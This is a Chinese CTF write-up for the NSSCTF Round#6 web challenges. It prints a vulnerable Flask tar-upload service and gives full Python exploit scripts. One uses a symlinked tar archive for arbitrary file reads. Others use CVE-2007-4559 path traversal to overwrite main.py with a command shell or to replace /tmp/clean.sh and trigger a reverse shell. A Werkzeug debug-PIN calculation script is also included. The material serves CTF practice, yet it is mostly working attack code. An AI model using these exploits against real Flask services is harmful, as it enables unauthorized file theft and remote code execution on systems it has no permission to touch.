NSSCTF Round#6-web
Web round
2023-06-13 09:14:22 时间
check(v1)&check(v2)
给了源码,两道都可以直接软链接秒了
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
print(file.filename)
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('su ctf -c /tmp/clean.sh')
return 'success'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
上传软链接包造成任意文件读取,常规漏洞利用
exp:
import requests
import os
url = 'http://43.142.108.3:28499'
def upload(readFile):
os.system("rm -f exp.tar && rm -f file")
os.system(f"ln -s {readFile} file")
os.system("tar -cvf exp.tar file")
with open("exp.tar", "rb") as f:
file = {"file": f}
res = requests.post(url + "/upload", files=file)
return res.text
def readFile(name):
res = requests.post(url + "/download", data={"filename": name})
return res.text
if __name__ == '__main__':
res = upload("/flag")
print(res)
res = readFile("file")
print(res)
check(Revenge)
这题思路差点非预期,但远程没打出来,想着利用 CVE-2007-4559
进行任意写文件覆盖 main.py
为软链接,但忘记这是开了 dubug 模式,可以直接写个 .py
的恶意文件覆盖从而 getShell
非预期解
注意开了 debug 模式,debug模式如果文件有修改会自动重载,可以直接覆盖main.py
,这个文件名称 main.py
是猜测的(一般不是 app.py
就是 main.py
或是 application.py
)。然后这个路径也可以试出来。
import requests
import tarfile
url = 'http://1.14.71.254:28874'
def changeName(tarinfo):
tarinfo.name = "../main.py"
return tarinfo
def generateTarfile():
with tarfile.open("exp.tar", "w") as tar:
tar.add("evil.py", filter=changeName)
def upload():
res = requests.post(url + "/upload", files={"file": open("exp.tar", "rb")})
return res.text
def execShell(cmd):
res = requests.get(url + f"/shell?cmd={cmd}")
return res.text
if __name__ == '__main__':
generateTarfile()
res = upload()
print(res)
res = execShell("cat /you_could_never_guess_the_flag_path")
print(res)
预期解
利用CVE-2007-4559进行任意写文件,然后覆盖/tmp/clean.sh
,然后访问clean路由触发反弹shell,当然也可以是其他命令,注意上传的 clean.sh
要加上 chmod +x clean
,要有可执行权限。
同时 py脚本这个执行命令是 ctf
用户,反弹 shell 没权限读flag,要计算 pin码
import requests
import tarfile
url = 'http://1.14.71.254:28689'
def changeName(tarinfo):
tarinfo.name = "../../tmp/clean.sh"
return tarinfo
def generateTarfile():
with tarfile.open("exp.tar", "w") as tar:
tar.add("clean.sh", filter=changeName)
def upload():
res = requests.post(url + "/upload", files={"file": open("exp.tar", "rb")})
return res.text
def execShell():
res = requests.post(url + "/clean")
return res.text
if __name__ == '__main__':
generateTarfile()
res = upload()
print(res)
res = execShell()
print(res)
反弹 shell
flag有权限,这里开启了debug,直接常规解法算PIN码就行,而且这里已经RCE了,也不需要什么通过报错看路径了,这里给出算PIN脚本
算 pin 参考 https://pysnow.cn/archives/170/
import hashlib
from itertools import chain
probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485376924231', # /sys/class/net/eth0/address 十进制
'96cec10d3d9307792745ec3b85c8962016b0227cc2e6f9c79d6ea0b153537f559f59ccc60f6275c95e42c74172f23003'
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
参考链接
相关文章
- 从零实现Web框架Geo教程-Http基础-01
- Spring学习笔记(十九)——springboot Web开发和模板引擎thymeleaf语法使用
- Java Web(八)JSP
- Web Terminal 预备知识
- [Java web]– spring3(2)「建议收藏」
- web应用中的四大作用域
- 应用中的潜力Web应用中Oracle的机遇与潜力(oracle在web)
- 新技术Web项目使用Redis实现高性能(web项目使用redis)
- Linux安装Web环境:一步一步指导(linux安装web环境)
- 使用Rails开发Web应用时如何利用MySQL进行数据存储?(mysqlrails)
- 与web技术基于MySQL Redis与Web技术的一体化应用(mysqlredis)
- Linux新版本发布,让你的Web项目发布更简单!(linux发布web项目)
- CSS3 Web字体
- Linux上的Web防火墙:保护您的网站免受攻击(linux web防火墙)
- asp.net的web服务MSSQL检测ASP.NET的Web服务——利用它构建更棒的站点(mssql检测基于)
- 的应用Web开发中Redis的助力极大提升项目效率(web项目中redis)
- 在Web服务器上使用Redis进行高性能处理(web服务器 redis)
- 抉择Web还是Redis(web和redis哪个好)
- Web端Redis工具操作简易,畅享快速体验(web redis 工具)
- Linux操作系统下Web服务器配置详细介绍